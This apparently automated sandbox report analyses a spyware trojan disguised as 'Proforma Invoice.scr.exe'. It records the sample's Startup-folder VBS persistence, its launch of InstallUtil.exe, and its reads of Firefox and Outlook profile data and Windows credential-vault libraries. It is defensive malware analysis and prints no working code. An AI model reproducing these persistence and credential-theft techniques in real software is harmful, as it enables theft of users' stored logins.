Source: 0.2.Proforma Invoice.scr.exe.38513e0.7.raw.unpack, rPpUx8IYtCf2OCkidwJ.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.Proforma Invoice.scr.exe.38513e0.7.raw.unpack, rPpUx8IYtCf2OCkidwJ.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 0.2.Proforma Invoice.scr.exe.35e3220.8.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.Proforma Invoice.scr.exe.35e3220.8.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.Proforma Invoice.scr.exe.35e3220.8.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.Proforma Invoice.scr.exe.35e3220.8.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'

Source: 0.2.Proforma Invoice.scr.exe.35e3220.8.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Proforma Invoice.scr.exe.35e3220.8.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.Proforma Invoice.scr.exe.35e3220.8.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.Proforma Invoice.scr.exe.35e3220.8.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.Proforma Invoice.scr.exe.35e3220.8.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.Proforma Invoice.scr.exe.35e3220.8.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@8/3@4/3

Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EncoderFallback.vbs

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Mutant created: NULL

Source: unknown

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EncoderFallback.vbs"

Source: Proforma Invoice.scr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Proforma Invoice.scr.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Proforma Invoice.scr.exe

ReversingLabs: Detection: 60%

Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe

File read: C:\Users\user\Desktop\Proforma Invoice.scr.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Proforma Invoice.scr.exe "C:\Users\user\Desktop\Proforma Invoice.scr.exe"
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EncoderFallback.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\EncoderFallback.exe "C:\Users\user\AppData\Roaming\EncoderFallback.exe"
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\EncoderFallback.exe "C:\Users\user\AppData\Roaming\EncoderFallback.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: edputil.dll	Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: Proforma Invoice.scr.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Proforma Invoice.scr.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

